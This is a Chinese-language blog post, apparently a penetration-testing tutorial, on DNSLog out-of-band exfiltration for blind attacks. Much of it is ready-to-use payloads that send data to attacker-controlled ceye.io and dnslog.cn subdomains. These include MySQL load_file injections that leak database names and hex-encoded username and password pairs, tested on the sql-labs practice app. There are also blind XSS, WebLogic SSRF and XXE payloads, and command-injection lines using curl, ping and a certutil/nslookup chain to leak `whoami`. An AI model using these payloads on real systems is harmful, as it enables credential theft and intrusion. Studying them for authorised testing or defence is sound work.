DNSLog外带

概述:

在进行盲注的时候,因为需要频繁发送访问请求,有的网站配置了waf就有可能让我们的注入受阻。所以用DNSlog外带可以减少请求并且直接回显数据。(非常好用)

DNS:(Domain Name System)域名系统,负责把域名转换成IP地址。

DNSlog:DNS的日志,DNS在域名解析的时候会留下域名和解析IP的记录。

DNSlog外带原理:DNS在解析的时候会留下日志,我们将信息放在高级域名中,传递到自己这里,然后通过读日志获取信息。

dnslog通常用在:

1.SQL盲注
2.无回显的XSS
3.无回显的命令执行
5.无回显的SSRF
5.Blind XXE

三个常见的DNSLog平台:

1、DNSLog回显原理

遇到无回显注入时,写脚本进行盲注,设置ip代理池解决ip封禁的问题。但是盲注效率很低,所以产生了DNSlog注入。

首先需要有一个可以配置的域名,比如:ceye.io,然后通过代理商设置域名 ceye.io 的 nameserver 为自己的服务器 A,然后再服务器 A 上配置好 DNS Server,这样以来所有 ceye.io 及其子域名的查询都会到 服务器 A 上,这时就能够实时地监控域名查询请求了。

DNS在解析的时候会留下日志,通过读取多级域名的解析日志,来获取信息。简单来说就是把信息放在高级域名中,传递到自己这,然后读取日志,获取信息。

如图:

2、DNSLOG回显测试

或者 http://www.dnslog.cn

注册http://ceye.io,给了一个二级域名:xxx.ceye.io。把注入信息放到二级域名那里,后台的日志会记录下来。

 

3、SQL盲注

https://github.com/ADOOO/DnslogSqlinj 自动化脚本

dnslog回显只能用于windows系统,原理就是'\\\\'代表Microsoft Windows通用命名约定(UNC)的文件和目录路径格式利用任何以下扩展存储程序引发DNS地址解析。双斜杠表示网络资源路径多加两个\就是转义了反斜杠

DNSlog盲注需要用的load_file()函数,所以一般得是root权限。

show variables like '%secure%'; 查看load_file()可以读取的磁盘

1、当secure_file_priv为空,就可以读取磁盘的目录。

2、当secure_file_priv为G:\,就可以读取G盘的文件。

3、当secure_file_priv为null,load_file就不能加载文件。

select load_file('\\\\afanti.xxxx.ceye.io\\aaa');  其中afanti就是要注入的查询语句,查看平台,dnsLog被记录下来。

测试sql-labs第五关:

payload:' and if((select load_file(concat('\\\\',(select database()),'.xxxxx.ceye.io\\abc'))),1,0)-- -+

sql语句:SELECT * FROM users WHERE id='1' and if((select load_file(concat('\\\\',(select database()),'.xxxxx.ceye.io\\abc'))),1,0)

查看dnslog日志,发现security数据库被查询出来:

select LOAD_FILE(CONCAT('\\\\','test','.mysql.buvx2r.ceye.io\\abc')); 
select LOAD_FILE(CONCAT('\\\\',database(),'.mysql.buvx2r.ceye.io\\abc'));\\意思是让LOAD_FILE去读每个文件,当然这么文件存不存在,我们并不在意 
//查询当前库的第一个表 
select LOAD_FILE(CONCAT('\\\\',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'.mysql.buvx2r.ceye.io\\abc'));

DNS请求被成功记录下来,由于test位置是可控的,所以可以将查询语句插入

//查询第当前库第一个表名
?id=1' union select LOAD_FILE(concat('\\\\',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'mysql.buvx2r.ceye.io\\abc')),2,3--+
//查询users表第一个字段 使用hex编码避免出现特殊字符
?id=1' union select LOAD_FILE(concat('\\\\',(select hex(concat_ws('~',username,password)) from security.users limit 0,1),'.mysql.buvx2r.ceye.io\\abc')),2,3--+

解密。。。

4、XSS 无回显

通过盲打,让触发者浏览器访问预设至的链接地址。如果盲打成功,平台会收到链接访问记录。

payload: ><img src=http://xss.xxxx.ceye.io/aaa> 让src请求我们的dnslog平台

5、SSRF 无回显

payload:

/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://rsr8pf.dnslog.cn

6、命令执行 无回显

当 ping 一个域名时会对其进行一个递归 DNS 查询的过程,这个时候就能在后端获取到 DNS 的查询请求,当命令真正被执行且平台收到回显时就说明漏洞存在。

linux:

curl http://haha.xxx.ceye.io/`whoami`
ping `whoami`.xxxx.ceye.io

Windows:

ping %USERNAME%.xxx.ceye.io

 

 

cmd /v /c "whoami > temp && certutil -encode temp temp2 && findstr /L /V "CERTIFICATE" temp2 > temp3 && set /p MYVAR=< temp3 && set FINAL=!MYVAR!.xxx.ceye.io && nslookup !FINAL!"
del temp*

 

7、XXE 无回显

payload:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://ip.port.b182oj.ceye.io/xxe_test">
%remote;]>
<root/>
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "http://zhwzti.dnslog.cn" >
]>
<value>&xxe;</value>

posted @   hello_bao  阅读(4285)  评论(0编辑  收藏  举报
编辑推荐:
· .NET Core 中如何实现缓存的预热?
· 从 HTTP 原因短语缺失研究 HTTP/2 和 HTTP/3 的设计差异
· AI与.NET技术实操系列:向量存储与相似性搜索在 .NET 中的实现
· 基于Microsoft.Extensions.AI核心库实现RAG应用
· Linux系列:如何用heaptrack跟踪.NET程序的非托管内存泄露
阅读排行:
· TypeScript + Deepseek 打造卜卦网站:技术与玄学的结合
· 阿里巴巴 QwQ-32B真的超越了 DeepSeek R-1吗?
· 如何调用 DeepSeek 的自然语言处理 API 接口并集成到在线客服系统
· 【译】Visual Studio 中新的强大生产力特性
· 2025年我用 Compose 写了一个 Todo App
点击右上角即可分享
微信分享提示